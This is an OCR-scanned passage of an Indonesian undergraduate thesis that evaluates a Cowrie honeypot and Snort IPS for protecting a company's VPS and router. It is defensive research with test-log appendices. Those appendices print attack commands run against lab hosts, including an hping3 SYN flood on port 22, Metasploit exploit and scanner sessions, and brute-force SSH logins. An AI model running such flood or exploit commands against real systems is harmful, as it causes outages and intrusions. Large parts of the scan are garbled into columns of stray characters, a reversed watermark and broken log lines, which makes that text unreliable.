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Rancang Bangun Keamanan VPS dan Router PT BPM dengan Pemanfaatan
Honeypot Cowrie dan Snort IPS

Abstrak

Dengan kemajuan teknologi informasi“pada jaringan kemputer, masalah serius
terkait keamanan jaringan masihtetap menjadi tantangan.dalam beberapa tahun
terakhir. Honeypot Cowrie dan Snort dapat dimanfaatkan untuk meningkatkan
keamanan server atau-jaringan. Honeypot Cowrie adalah sistem deteksi intrusi
yang dirancang khusus untuk menangani masalah terkait protokol SSH. (Secure
Shell). Sementara.itu, Snort adalah sistem deteksi intrusi berbasis jaringan.yang
juga dapat berfungsi sebagal sistem pencegahan intrusi dengan pendekatan
berbasis aturan dalam pendeteksiannya. Untuk mengukur. efektivitas Honeypot
Cowrie dan Snort IPS (Intrusion Prevention System), dilakukan serangkaian
pengujian yang mencakup pengujian akurasi deteksi Honeypot Cowrie dalam
melindungi layanan SSH; serta pengukuran jumlah paketyangdi-drop oleh Snort
dan penilaian efisiensinya dalam menangani serangan. Hasil pengujian
menunjukkan bahwa Honeypot Cowrie mampu mendeteksi semua metode dan
modul serangan yang menargetkan port 22 dengan akurasi 100%. Hasil Snort IPS
menunjukkan Snort men-drop 4,96% dari _total paket yang diterima selama
serangan brute-force, yang merupakan persentase rendah, menunjukkan
kemampuan sistem dalam menangani trafik jaringan tanpa.mengorbankan kinerja.
Tingkat efisiensi Snort dalam menangani serangan brute-force sebesar 95,04%
menunjukkan keandalannya. Selain itu, Snort juga terbukti efektif dalam
mendeteksi serangan penetrasi dari modul Metasploit yang menargetkan port 80.
Namun, dalam pengujian serangan DoS (Denial of Service), Snort mengalami
penurupan performa yang signifikan.dengan persentase packet. drop sebesar
90,81%, yang menunjukkan keterbatasan Snort dalam menghadapi serangan DoS
yang intens. Hasil efisiensi Snort sebesar 9,1% menunjukkan bahwa Snort memiliki
keterbatasan dalam menangani lalu lintas jaringan yang sangat tinggi.

Kata kunci: honeypot cowrie, intrusi deteksi, keamanan jaringan, snort
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Design and Implementation of VPS and Router Security of PT BPM using
Honeypot Cowrie and Snort IPS

Abstract

With advances in information technology on computer netwaorks, ‘serious issues
related to network security remained a challenge in recent years.«Cowrie's
Honeypot and Snort can be used to enhance server or network security. Honeypot
Cowrie is an intrusion detection system designed specifically to deal with issues
related to the SSH (Secure Shell) protocol. Meanwhile, Snort is a network-based
intrusion.Detection system that can also serve as an intruder ‘prevention system
with a rule-based approach in its detection. To measure the effectiveness of
Honeypot Cowrie and Snort IPS (Intrusion Prevention System), a series of tests
were carried out that included testing the accuracy of Cowrie's Honypot detection
in protecting SSH services, as well as measuring the number of packets dropped by
Snort and assessing its effectivency in dealing with attacks. The test results showed
that Honeypot Cowrie was able to.detect all methods and modules of attack
targeting port 22 with a 100% accuracy. Snort IPS results revealed that Snort
dropped 4.96% of the total package received during.a brute-force attack, which is
a low percentage, showing the system's ability to handle network traffic without
compromising performance. In addition, Snort-also proved to be effective in
detecting penetration attacks from Metasploit modules targeting port 80. However,
in the DoS (Denial of Service) attack test Snort experienced a significant decline in
performance with a package drop percentage of 90.81%, indicating Snort's
limitation in the face of intense DoS attacks.

Key words: honeypot cowrie, intrusion detection, network security, snort
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PENDAHULUAN

1.1 Latar Belakang

Ancaman terhadap keamanan informasi digital, mencakup aspek kerahasiaan
dan integritas, menjadi isu penting .di" era-modern_ini. Dengan semakin
terhubungnya dunia melalui informasi digital yang mendukung layanan dan
infrastruktur utama, risiko serangan siber juga meningkat (Perwej et al., 2021).
Meskipun teknologi informasi telah mempermudah pencarian, pengumpulan;.dan
distribusi data, teknologi ini jugamembuka peluang bagi terjadinya serangan siber,
seperti pencurian dan pemalsuan data selama proses komunikasi data.

Sistem keamanan jaringan yang handal wajib dimiliki oleh setiap perusahaan,
termasuk PT Berdikari Prima Mandiri. Perusahaan ini merupakan perusahaan
penyedia layanan internet dan penyedia layanan hosting website pelanggan.
Masalah keamanan jaringan yang dialami oleh perusahaan adalah penyerangan
berupa brute-force yang diarahkan ke Virtual Private Server (VPS) sebagai server
hosting dan ke router perusahaan. Meskipun perusahaan sudah menggunakan
firewall, tetapi firewall yang digunakan masih bisa.ditembus oleh penyerang. Hal
ini dapat mempengaruhi layanan dinternet yang disediakan oleh perusahaan. Oleh
karena itu, dibutuhkan sistem yang dapat meningkatkan keamanan jaringan untuk

melindungi VVPS dan router perusahaan.

Honeypot dan Snort dapat dimanfaatkan ‘untuk: sistem keamanan jaringan.
Hasil studi terkait Snort oleh (Satria et al., 2021) digunakan Snort sebagai IPS
(Intrusion Prevention System). Diperoleh hasil bahwa setiap paket yang berasal dari
serangan brute-force dan-melewati sistem Snort akan diawasi_untuk-menentukan
jumlah paket yang diterimanya perdetik..Jika paket yang tiba-di'sistem Snort tidak
sesuai dengan aturan yang telah ditetapkan, maka sistem Snort akan menghentikan
paket tersebut karena telah melewati batas maksimum paket yang diizinkan untuk
lewat per detik. Studi lain terkait Honeypot yang dilakukan oleh (Mispriatin et al.,
2022) menunjukkan hasil pengujian yang dilakukan bahwa Honeypot Dionaea
memiliki tingkat keefektifan sebesar 92,8% dalam mendeteksi serangan port

scanning, tetapi tidak efektif dalam mendeteksi serangan brute-force SSH.
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Sebaliknya, Honeypot Cowrie memiliki tingkat keefektifan sebesar 7,2% dalam
mendeteksi serangan port scanning dan 92,8% efektif dalam mendeteksi serangan
brute-force SSH. Hasil pengujian dari studi tersebut menunjukkan bahwa Honeypot
Cowrie lebih efektif dari Honeypot Dionaea untuk mendeteksi serangan brute-force
SSH. Sementara itu, Snort dapat digunakan untuk mendeteksi dan memblokir akses
jumlah paket yang tidak sesuai aturan sistem.Snort.

Berdasarkan uraian tersebut, maka disusun skripsi yang berjudul “Rancang
Bangun Keamanan VPS dan Router PT BPM dengan Pemanfaatan Honeypot
Cowrie dan Snort IPS”. Penelitian ini menggunakan Honeypot Cowrie untuk
menjebak dan.mendeteksi perilaku penyerang serta melacak alamat IP penyerang
yang melakukan serangan siber terhadap SSH dan router perusahaan. Snort dipilih
sebagai IPS untuk mendeteksi dan melakukan pemblokiran akses penyerang yang
berhasil menyusup kedalam jaringan.

1.2 Rumusan Masalah
Berdasarkan latar belakang di atas, maka rumusan permasalahan dalam

skripsi ini, antara lain:

a.  Bagaimana langkah untuk implementasi sistem keamanan Honeypot Cowrie
dan Snort IPS di jaringan internal perusahaan?

b.  Serangan siber apa saja yang dapat dideteksi dan diidentifikasi oleh Honeypot
Cowrie dan Snort IPS?

c. Bagaimana hasil pengujian sistem keamanan Honeypot Cowrie dan Snort
IPS?

1.3 Batasan Masalah
Berdasarkan perumusan.masalah yang dibuat, terdapat batasan.masalah untuk
membatasi ruang lingkup pengujian-kinerja tools IPS dalam-menangani kerentanan
sistem keamanan jaringan, adalah:
a. Sistem keamanan yang diuji adalah Honeypot Cowrie 2.5 Snort 3.1.74
dengan menggunakan aturan (rule) yang sudah tersedia dari masing — masing
sistem.

b. Metode IDS yang digunakan adalah knowledge-based.

Politeknik Negeri Jakarta
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Objek yang dilindungi adalah Virtual Private Server yang menggunakan OS
linux Ubuntu desktop 22.04 dan router Mikrotik.

Pengujian terfokus pada penyerangan terhadap jaringan berupa serangan
brute-force dan DoS.

Alamat IP router Mikrotik tidak dapat disertakan pada skripsi ini dikarenakan
merupakan hal yang confidential.bagi PT BPM.

1.4 Tujuan Penelitian

Adapun tujuan yang ingin dicapai dari penelitian ini, yaitu:

a.  Mengetahui implementasi'Honeypot Cowrie dan'Snort IPS untuk digunakan
sebagai sistem keamanan jaringan di jaringan internal perusahaan.

b. _Mengetahui dan mengidentifikasi serangan siber yang dideteksi oleh
Honeypot Cowrie dan Snort IPS.

c. = Melakukan pengujian sistem keamanan Honeypot Cowrie dan Snort IPS.

1.5 Luaran
Pada skripsi ini, luaran yang diharapkan antara lain:

a.  Sistem keamanan jaringan terintegrasi Honeypot Cowrie dan Snort IPS di PT
Berdikari Prima Mandiri.

b.  Menghasilkan artikel ilmiah yang telah diseminarkan pada Seminar Nasional
Teknik Elektro (SNTE) 2024, seminar tersebut dilaksanakan di Politeknik
Negeri Jakarta tanggal 26 Juni 2024.

c.  Laporan skripsi.

d.  Menghasilkan artikel “ilmiah terkait sistem keamanan VPS dan router

menggunakan Honeypot Cowrie dan Snort IPS yang dibuat dan disertai data
hasil pengujian sistem. Artikel akan di-submit pada Jurnal:*Nasional
Informatika dan TeknologiJaringan (INFOTEKJAR):

Politeknik Negeri Jakarta



eyeyer abap yiwyajijod uizi eduey

o5
bl
]
3
=}
c
-3
o
-
3
=
o
o
=
3
m
-
c
a,
=
o
3
=
m
T
1]
3
=
3
(-}
o
=
-~
o
-
=]
£
-
o
-
-
%
-~
(]
=
=
=
=
m
=]
[
=5
S
o
=
-
=
-
v

N
Soo
Ry
o 3
S Q
Q@cs
355
£o 5
=
-
3 =
s Y]
5 c
=3 32
o £
s =
H )
= T
1]
3 5
= =
3
238
TR 3
= o
T ®
SE2
R
< i
® g
s
o QB
@« 3
o o
% o3
s T
w o
® 3
£ =
= =
c &
> 1
388
- -
-~ ~
9 I8
oo =
€ o 3
= 5
oS
=, b4
o
o Z
o -
3 £
g 2
z
Y]
ol S
5 T
T 8
- -
s £
s g
3
=,
=
=
~
N
g
o
o
3.
N
c
N
=
£
N
£
3
o
2
o
=

X
w
=
)
=
8

T
o
x
2]
T
-~
o
3
*’
pe)
S
;.
1]
*
2
=
2
1)
Q
1]
=
)
o
~
1]
q
-~
o

—
o
)
o
=
'~
3
[}
=3
Q
S
=
T
"
[
o
o
=
o
3
)
-~
o
<
v
L
c
=
c
=
=
o
=
~
=
-
=
=
3.
-~
o
=
T
o
3
[}
3
n
o
=
-
c
3
=
o
S
o
=Y
3
3
[}
=
-~
[
o
c
-
=
o
=
w
c
3
T
[}
=

DAFTAR PUSTAKA

Alamsyah Pratama, M., Setiawan, H., & Mair, Z. R. (2023). Implementasi
Honeypot Sebagai Pendeteksi Serangan Pada Virtual Private Server (VPS).

Journal of Software Engineering and and‘Computer Intelligence, 1(1), 26-39.

Amijoyo, T., Umar, R., & Yudhana; A. (2020). Bruteforce In The Hydra Process
And Telnet Service Using The Naive Bayes Method, 4(36).

Army, W. L., Barovih, G., Seta, H. B., Margiutomg, S. A. S., Arifianto, T., Pujianto,
D., Mutasar, Habibah, N., & Fajri, T. I. (2022). Teknologi Jaringan Komputer
(A Surahmat, Ed.; Pertama). Widina Bhakti Persada Bandung.

Balen, J., Vajak, D., & Salah; K. (2020). Comparative performance evaluation of
popular virtual private servers. Journal of Internet Technology, 21(2), 343—
356.

Chulalongkonmahawitthayalai. Khana Witthayasat, Mahawitthayalai Bairapha.
Faculty of Informatics, Institute of Electrical and Electronics Engineers, IEEE
Thailand Section, & Electrical Engineering/Electronics, C. (n.d.). 2019
JCSSE : the 16th International Joint Conference on Computer Science and
Software Engineering : “Knowledge Evolution Towards Singularity of Man-
Machine Intelligence” : July 10-12;°2019, Amari Pattaya, Chonburi,
Thailand.

Gupta, A., & Sen Sharma, L. (2020). Performance Analysis and Comparison of
Snort on Various Platforms. In International Journal of Computer Information

Systems and Industrial Management Applications. 10.

Mispriatin, M., Gusti, J., Ginting, A., Arifwidoedo; B.; & Kunci, K. (2021). Analisis
Kinerja Honeypot Dionaea Dan Cowrie Dalam Mendeteksi Serangan. 6,
2021.

M.R., A, & P., V. (2022). Review of Cyber Attack Detection: Honeypot System.
Webology, 19(1), 5497-5514.

64
Politeknik Negeri Jakarta



eyeyer abap yiwyajijod uizi eduey

o5
bl
]
3
=}
c
-3
o
-
3
=
o
o
=
3
m
-
c
a,
=
o
3
=
m
T
1]
3
=
3
(-}
o
=
-~
o
-
=]
£
-
o
-
-
S,
-~
(]
=
=
=
=
m
=]
[
=5
S
o
=
-
=
-
v

N
Soo
Ry
o 3
S Q
Q@cs
355
£o 5
Sl
-
3 =
s Y]
5 c
=3 32
o £
= =
H )
= T
1]
3 5
= =
3
238
TR 3
= o
T ®
SE2
R
A< B
® g
s
o QB
@« 3
o o
% o3
s T
w o
® 3
£ =
= =
c &
> 1
388
- -
-~ ~
= o
oo =
€ o 3
= 5
oS
=, b4
o
o Z
o -
3 £
g 2
z
Y]
ol S
5 T
T 8
- -
s £
s g
3
=,
=
=
5
N
g
o
o
3.
N
c
N
=
w
=
N
£
3
o
2
o
=

X
m
=
)
=
8

T
&
x
2]
T
-~
o
3
*’
pe)
S
;.
1]
*
2
=
2
1)
Q
1]
=
)
o
~
1]
q
-~
o

—
o
)
o
=
'~
3
[}
=3
Q
S
=
T
"
[
o
o
=
o
3
)
-~
o
<
v
L
c
=
c
=
=
o
=
~
=
-
=
=
3.
-~
o
=
T
o
3
[}
3
n
o
=
-
c
3
=
o
S
o
=Y
3
3
[}
=
-~
[
o
c
-
=
o
=
w
c
3
T
[}
=

Natanegara, T., Muhdiyin, Y. & Singsasatia, D. (2023). Implementasi Honeypot
Cowrie dan SNORT sebagai Alat Deteksi Serangan pada Server. Jurnal
Mahasiswa Teknik Informatika, 7(3), 1871-1877.

Nursetyo, A., Rosal, D., Setiadi, I. M., Sari, C. A., & Rachmawanto, E. H. (2019).
Website and Network Security Techniques-against Brute Force Attacks using
Honeypot. 2019 Fourth International Conferenceon Informatics and
Computing (ICIC), 1-6.

Park, J., Kim, J., Gupta, B. B., & Park, N. (2021). Network Log-Based SSH Brute-
Force Attack Detection Model. Computers, Materials and Continua, 68(1),
887-901.

Perwe], D., Qamar Abbas, S., Pratap Dixit, J., Akhtar, N., & Kumar Jaiswal, A.
(n.d.). A Systematic Literature Review on the Cyber Security. International
Journal of Scientific Research and Management, 2021(12), 669—710.

Putri, D. A. P., & Rachmawati, A. (2019). Honeypot cowrie implementation to
protect ssh protocol in ubuntu server. with-visualisation using Kippo-graph.
International Journal of Advanced Trends in Computer Science and
Engineering, 8(6), 3200—3207.

Rahmatillah, A., Firdaus, A.; Laila, E., Komputer, J. T., Sriwijaya, N., Negara, J.
S., & Selatan, S. (2021). Implementasi Intrusion Prevention System (IPS) Pada
Keamanan Jaringan Dengan Notifikasi Berbasis Telegram di Jurusan Teknik

Komputer. In Jurnal Laporan Akhir Teknik Komputer, 1(1).

Satria, E., Huda, T. P.'S.; Igbal, M., & Sarjana, F. W. (2021). The investigation on
cowrie honeypot.logs in establishing rule signature snort. IOP Conference

Series: Earth and Environmental Science, 644(1).

Syed, N. F., Baig, Z., lIbrahim, A., & Valli, C. (2020). Denial of service attack
detection through machine learning for the 10T. Journal of Information and
Telecommunication, 4(4), 482-503.

Widodo Purbo, O., Widodo Purbo Institut Teknologi Tangerang Selatan, O.,

Komplek Komersial BSD, I., & Raya Serpong JI Komp Bsd No Kav, J. (2019).

65
Politeknik Negeri Jakarta



Ubuntu Linux Server Security Analysis and Simulation With Port Knocking

& Iptable. International Journal of Basic and Applied Science, 8(2).

Wiryadinata, R., Bangun Keamanan, R., & Kunci, K. (2022). Rancang Bangun

eydidjeH

Keamanan Port Secure Shell (SSH) Menggunakan Metode Port Knocking,
JIKOMSI [Jurnal llmu Komputer dan Si nformasi], 5, 28-33.

Yang, Y. Y. (2020). Network-a '-

Yeboah-Boateng, E. O., .na-Ada

unications Security: Analysi

eyieyer L1aBap yiuya3ijod uizi eduey

undede ynjuaq wejep 1ui sijny efie) Yyninjas neye ueibeqas yelueqiadwaw uep ueywinwnbusw buelejq ‘'z

Access

oles in

POLITEKNIK
NEGERI
JAKARTA

epieyer Labap Kyiuyaljod sefem bued uebunuaday ueyibniaw yepn uedynbuad 'q

‘yejesew njens uenefun neje Yy uesiinuad ‘uesode] uesijnuad ‘yerwy eliey uesinuad ‘ uenijauad ‘ueyipipuad uebunuaday ynjun eAuey uednnbuad ‘e
1 Jaquuins uejingakuaw uep ueywnjueduaw eduey jui sijn) e£1ey yninjas neje ueibeqas diynbusw buele|iq ‘L

66

Politeknik Negeri Jakarta




MK Prestasi

lulus dari SMPN 24
o

U ()

anggal 9 Januari 2002. Lulus dari

04 pada
da tahun 2017, dan
Ima pada tahun 2020.

Lahir di Bekasi pad

SDNJ

A

».
»

POLITEKNIK

NEGERI
JAKARTA

DAFTAR RIWAYAT HIDUP
Ariel Muhammad Amri

67

Politeknik Negeri Jakarta

© Hak Cipta milik Politeknik Negeri Jakarta
Hak Cipta:

. %_ 1.Dilarang mengutip sebagian atau seluruh karya tulis ini tanpa mencantumkan dan menyebutkan sumber :
N a. Pengutipan hanya untuk kepentingan pendidikan, penelitian , penulisan karya ilmiah, penulisan laporan, penulisan kritik atau tinjauan suatu masalah.

b. Pengutipan tidak merugikan kepentingan yang wajar Politeknik Negeri Jakarta

2, Dilarang mengumumkan dan memperbanyak sebagian atau seluruh karya tulis ini dalam bentuk apapun
tanpa izin Politeknik Negeri Jakarta




L-1 Lampiran Pengujian Honeypot Cowrie
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Dokumentasi Pengujian Brute-Force Honeypot Cowrie

cowrie@security: ~/cowrie/varflog/cowrie Q = x

2024-07-15T09:42:50.680497Z [HoneyPotSSHTransport,5,192.168.92.1] Initialized em
ulated server as architecture: linux-x64-1sb

2024-087-15T09:42:50.681092Z [cowrie.ssh.userauth.HoneyPotSSHUserAuthServer#debug
] b'admin® authenticated with b'password®

2024-97-15T09:42:50.6812987 [cowrie.ssh.transport.HoneyPotSSHTransport#debug] st
arting service b'ssh-connection’

2024-87-15T09:42:50.682028Z [cowrie.ssh.userauth.HoneyPotsSHUserAuthserver#debug
] bradmin® trying auth b"password"

2024-07-15T09:42:50.682475Z [HoneyPotSSHTransport,6,192.168.92.1] login attempt
[b'admin'/b'1234567689'] succeeded

2024-87-15T09:42:50.683749Z [HoneyPot55HTransport,6,192.168.92.1] Initialized em
ulated server as architecture: linux-x64-1sb

2024-07-15T09:42:50.6842727 [cowrie.ssh.userauth.HoneyPotSSHUserAuthServer#debug
1 b'admin' authenticated with b'password®

2024-07-15T09:42:50.684576Z [cowrie.ssh.transport.HoneyPotSSHTransport#debug] st
arting service b'ssh-connection

2024-07-15T09:42:50.6849247 [cowrie.ssh.userauth.HoneyPotSSHUserAuthServer#debug
1 b'admin' trying auth b'password’

2024-87-15T09:42:50.685336Z [HoneyPotSSHTransport,7,192.168.92.1] login attempt
[b'admin’ /b’ password'] succeeded

2024-07-15T09:42:50.6864587 [HoneyPotSSHTransport,7,192.168.92.1] Initialized em
ulated server as architecture: linux-x64-1sb

2024-07-15T09:42:50.687117Z [cowrie.ssh.userauth.HoneyPotSSHUserAuthServer#debug
] b'admin® authenticated with b'password®
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Dokumentasi Pengujian Login SSH dan Telnet Honeypot Cowrie

Berikut ini adalah dokumentasi hasil pengujian login SSH Honeypot Cowrie.

2024-97-26T07:23:11.725917Z [twisted.conch.ssh.session#info]l Getting shell
2824-07-26T07:24:48.502232Z [HoneyPotSSHTransport,1l,192.168.92.1] CMD: whoami
2024-07-26T07:24:48.508655Z [HoneyPotSSHTransport,1,192.168.92.1] Command found:
whoami

2024-07-26T07:24:52.343182Z [HoneyPotiSS5HTransport,1,192.168.92.1] CMD: id
2824-97-26T07:24:52.347334Z [HoneyPotSSHTransport,l,192.168.92.1] Command found:
id

2024-07-26T07:24:57.8286702 [HoneyPotSSHTransport,1,192.168.92.1] CMD: cd /
2024-07-26T07:24:57.832323Z [HoneyPotSSHTransport,1,192.168.92.1] Command found:
cd f

2024-87-26T07:25:00.091650Z [HoneyPotSSHTransport,1,192.168.92.1] CMD: 1s
2024-07-26T07:25:00.095189Z [HoneyPotSSHTransport,1,192.168.92.1] Command found:
1s

2024-07-26T07:25:38.171677Z [HoneyPotSSHTransport,1,192.168.92.1] CMD: cd sbin
2024-87-26T07:25:38.1762257 [HoneyPotSSHTransport,1,192.168.92.1] Command found:
cd sbin

2024-07-26T07:25:39.182677Z [HoneyPotSSHTransport,1,192.168.92.1] CMD: 1s
2024-07-26T07:25:39.185693Z [HoneyPotSSHTransport,l,192.168.92.1] Command found:
1ls

2024-07-26T07:25:40.6770782 [HoneyPotSSHTransport,1,192.168.92.1] CMD: exit
2024-07-26T07:25:40.680573Z [HoneyPotSSHTransport,1,192.168.92.1] Command fTound:
exit

2024-07-26T07:25:40.6827927 [twisted.conch.ssh.session#info] exitCode: @
2024-07-26T07:25:40.683914Z [cowrie.ssh.connection.CowrieSSHConnection#debug] se

undede )ynjuaq wejep
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Berikut ini adalah dokumentasi hasil pengujian login Telnet Honeypot Cowrie.
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L-1 Lampiran Pengujian Honeypot Cowrie

automation-prakerin@automation:~$% telnet 192.168.92.11
Trying 192.168.92.11...

Connected to 192.168.92.11.

Escape character is '"]'.

login: security

Password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/sharesdoc/*/copyright.

Debian GMU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

security@ssh server:~4 id

uid=1001(security) gid=1001(security) groups=1801(security)
security@ssh_server:~% whoami

security

security@ssh server:~% 1s

phil

security@ssh server:-% exit

Dokumentasi Pemindaian.Port. Honeypot Cowrie

2024-07-15T10:35:30.015863Z [cowrie.ssh.factory.CowrieSSHFactory] New connection
: 192.168.92.1:35746 (192.16B.92.253:22) [session: 27cl24fa67e6]
2024-07-15T10:35:30.025759Z [cowrie.ssh.transport.HoneyPotSSHTransport#info] con
nection Llost

2024-87-15T10:35:30.026289Z [HoneyPotSSHTransport,®,192.168.92.1] Connection los
t after @ seconds

Dokumentasi Pengujian Penetrasi Honeypot Cowrie

s - t - X =] 4.0 Q = X
3 || » Download [  automation-prakerin@automation: ~/git/metasploit-frame... Q= » I‘
msf6 exploit(windows/http/rejetto_hfs_exec) = db nmap -F 192.168.92. -
&} @11
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2824-08-22 13:1 pyg packet to broad
8 utc 168.92.1:5678 -> 25
[*] Nmap: Nmap scan report for 192.168.92.11
[*] Mmap: Host is up (©.0013s latency). ') unicast ARP reque
& [*] Mmap: Not shown: 94 closed ports
+ [*] Nmap: PORT STATE SERVICE Pv4 packet to broad
o, J[*] Nmap: 21/tcp  open ftp 168.92.1:5678 -> 25
:824 DB.ZZTBB'[‘] Nmap: 22/tcp open ssh
assh fingerpr |
2024-98-22TBS‘[‘] Nmap: 23/tcp open telnet ) unicast ARP reque
X alg=b'ecdh-;[‘] Nmap: 8@/tcp open http
[*] Nmap: 5008/tcp open upnp ) unicast ARP regue

2024-08-22T08:
tgoing: b'aes2
2024-08-22T68:
coming: braes2

[*] Nmap: 7078/tcp open realserver
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in @.16 second _ py4 packet to broad
I 168.92.1:5678 -> 25

2024-08-22T08 : DELE ?xplOLt(w}ndousJhttp;rejetto_hfs_exec) >

W KEYS 08/22-13:10:08.683719 [**] [122:1:1] "(port_scan) TCP portscan" [*
2024-08-22T68:18:17.799979Z [-] Timdl [Priority: 3] {TcP} 192.168.92.1:48084 -> 192.168.92.11:587
2024-08-22T68: 18+ 178069797 [cowrie.08/22-13:10:33.720271 [++] [112:1:1] "(arp_cpool] Unicast ARP reque
nection lost st" [**] [Priority: 3] {ARP} ->

2024-08-22T68:18:17.8075942Z [HonEyPu[l__.._“_,_._._.__.___.___ T

lost after 120 seconds View
[2024-08-22T13:10:08.701271Z [cowrie.ssh.factory.CowrieSSHFactory] New connection
: 192.168.92.1:41534 (192.168.92.11:22) [session: e8bze25d238b]
2024-08-22T13:10:08.729795Z [cowrie.ssh.transport.HoneyPotSSHTransport#info] con
pection lost

2024-08-22T13:10:08.730535Z [HoneyPotSSHTransport,1421,192.168.92.1] Connection
lost after @ seconds
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L-1 Lampiran Pengujian Honeypot Cowrie

iz
¥
o —
- g automation-prakerin@automation: ~/git/metasploit-frame... Q= x L e *
ol t 3 74 ® —-_ %
_/ mst6 auxiliary(scanner/ssh/ssh_version) > run QU 00T sn08 : =
[*] 192.168.92.11 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDIINTES I v
I AARATIPK1hW/+h314p60iUo3A0YPZ+VOLLEFW7y4AeCxSTPpGY — -
[*] 192.168.92.11 - SSH server version: SSH-2.0-OpenSSH_6.8pl Debian- 3" [**] [Priority: 3] {UDP} 192.168.92.1:
% 4+debTu2 - 55:5678
[*] 192.168.92.11 - Server Information and Encryption [**] [112:1:1] "(arp_speof) unicast ARP
M ty: 3] {ARP} ->
o [#*+] [116:414:1] *({ipv4) IPv4 packet to
© Type value Note s" [**] [Priority: 31 {UDP} 192.168.92.1:
g 55:5678
i encryption.compressi zlib@openssh.com [**] [112:1:1] "(arp spoof) unicast ARP
an ty: 3] {ARP} -=>
encryption.compressi zlib [**] [116:414:1] *{ipv4) IPv4 packet to
on s" [+*] [Priority: 3] {UDP} 192.168.92.1
encryption.compressi none 55:5678 )
on [**] [112:1:1] "(arp_spoof) unicast ARP
B == T L T P T Y [ [T T ety ¢ 3] {ARP} ->

i [**] [112:1:1] *(arp_spoof) unicast ARP
2024-08-22T13:15:12.525852Z [cowrie.ssh.factory.CowrieSSHFactory] New ty: 3] {ARP} ->
connection: 192.168.92.1:43280 (192.168.92.11:22) [session: 999%9aa26a . [**+] [116:414:1] "(ipv4) IPv4 packet to
b720] s" [**] [Prierity: 3] {UDP} 192.168.92.1:
2024-98-22T13:15:12.538185Z [HoneyPotSSHTransport,1422,192.168.92.1] 55:5678
Remote S5H version: SSH-2.8-Ruby/Net::55H 7.2.3 x86 64-linux
2024-88-22T13:15:12.548093Z [HoneyPotSSHTransport,1422,192.168.92.1]

SSH client hassh fingerprint: 754da8742c6fB8c75ae21801elc783c78 92.11:5000 12hago
2024-08-22T13:15:12.561323Z [cowrie.ssh.transport.HoneyPotSSHTranspor o
t#debug] kex alg=b'ecdh-shaz-nistp521' key alg=b'ssh-ed25519' 92.11:5000  yesterday

2024-88-22T13:15:12.562571Z [cowrie.ssh.transport.HoneyPotSSHTranspor 92115000 . ey
t#debug] outgoing: b'aes256-ctr' b'hmac-sha2-512' b'none’ #2.11:5000  yesterday
2024-98-22T13:15:12.563467Z [cowrie.ssh.transport.HoneyPotSSHTranspor .
t#debug] incoming: b'aes256-ctr' b'hmac-sha2-512" b'none’ I
2024-08-22T13:15:12.615132Z [cowrie.ssh.transport.HoneyPotSSHTranspor
t#debug] NEW KEYS

2024-88-22T13:17:12.636923Z [-] Timeout reached in HoneyPotSSHTranspo
rt

2024-98-22T13:17:12.645681Z [cowrie.ssh.transport.HoneyPotSSHTranspor
t#info] connection lost
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Dokumentasi Pengujian DoS Honeypot Cowrie
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cowrie@security: ~/cowrie/var/log/cowrie Q = X

‘ansport.py:116: CryptographyDeprecationWwarning: CAST5 has been deprecated and wi
11 be removed in a future release
b"castl28-ctr": (algorithms.CASTS, 16, modes.CTR),
tsRemoving stale pidfile /home/cowrie/cowrie/var/run/cowrie.pid
)|(cowrie-env) cowrie@security:~/cowrie$ cd var
t|(cowrie-env) cowrie@security:~/cowrie/var$ cd log
V (cowrie-env) cowri ecurity:~/cowrie/var/log$ cd cowrie
r (cowrie-env) cowrie@security:~/cowrie/var/log/cowrie$ tail -f cowrie.log
< 2024-08-21T702:05:00.913677Z [-] Cowrie Version 2.5.0
552024-08-21T02:05:00.9262792 [-] Loaded output engine: jsonlog
1 2024-08-21T02:05:00.928290Z [twisted.scripts. twistd unix.UnixAppLogger#info] tw
1]istd 24.3.0 (/home/cowrie/cowrie/cowrie-env/bin/python 3.10.12) starting up.
c,2024-08-21T02:05:00.928860Z [twisted.scripts. twistd unix.UnixAppLogger#info] re
ﬁactor class: twisted.internet.epollreactor.EPollReactor.
[ 2024-08-21T02:05:00.983521Z [-] CowrieSSHFactory starting on 22
(,2024-08-21T02:05:00.987197Z [cowrie.ssh.factory.CowrieSSHFactory#info] Starting
‘lfactory <cowrie.ssh.factory.CowrieSSHFactory object at 0x7f9ldeda521e>
( 2024-08-21T02:05:01.241928Z [-] Ready to accept SSH connections
< 2024-08-21T02:05:01.245445Z [-] HoneyPotTelnetFactory starting on 2223
$42024-08-21T02:05:01.245981Z [cowrie.telnet.factory.HoneyPotTelnetFactory#info] S
tltarting factory <cowrie.telnet.factory.HoneyPotTelnetFactory object at ©x7f91ded
as53fe>
§E2924-08-21T02:05:61.2489342 [-] Ready to accept Telnet connections

A, - e e e .

automation-prakerin@automation:~$ sudo hping3 -S --flood -V -p 22 192.168.92.11
*[sudo] password for automation-prakerin:

‘using ens18, addr: 192.168.91.11, MTU: 1500

HPING 192.168.92.11 (ens18 192.168.92.11): S set, 40 headers + © data bytes
hping in flood mode, no replies will be shown

s
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L-2 Lampiran Pengujian Snort IPS

Dokumentasi Pengujian Brute-Force Snort IPS

;9?11?-08:19:13.?984?8 [**] [129:1:1] "(stream tcp) SYN on established session" |
I“‘] [Priority: 3] {TCP} 192.168.92.1:33868 -> 192.168.92.253:22
{67/17-08:18:13.799284 [*+] [129:1:1] "(stream_tcp) SYN on established session" [
(**] [Priority: 3] {TCP} 192.168.92.1:33944 -= 192.168.92.253:22
|07/17-08:10:14.222767 [**] [129:3:1] "(stream_tcp) data sent on stream not accep
\ting data" [+##] [Priority: 3] {TCP} 192.168.92.1:33646 -> 192.168.92.253:22
(07/17-08:10:14.222931 [**] [129:1:1] "(stream tcp) SYN on established session" [
[#*] [Priority: 3] {TCP} 192.168.92.1:34296 -> 192.168.92.253:22
iB?jl?—@B:ﬂ?:43.3524Eﬁ [#*+] [128:6:1] "(ssh) payload size incorrect for the given
| payload"” [**] [Priority: 3] {TCP} 152.168.92.253:22 -> 192.168.92.1:34374
{07/17-08:10:14.418189 [*+] [129:3:1] "(stream_tcp) data sent on stream not accep
ting data" [#*] [Priority: 3] {TCP} 192.168.92.1:34130 -> 192.168.92.253:22
;B?fl?—@B:13:14.413591 [#*+] [129:3:1] "(stream tcp) data sent on stream not accep
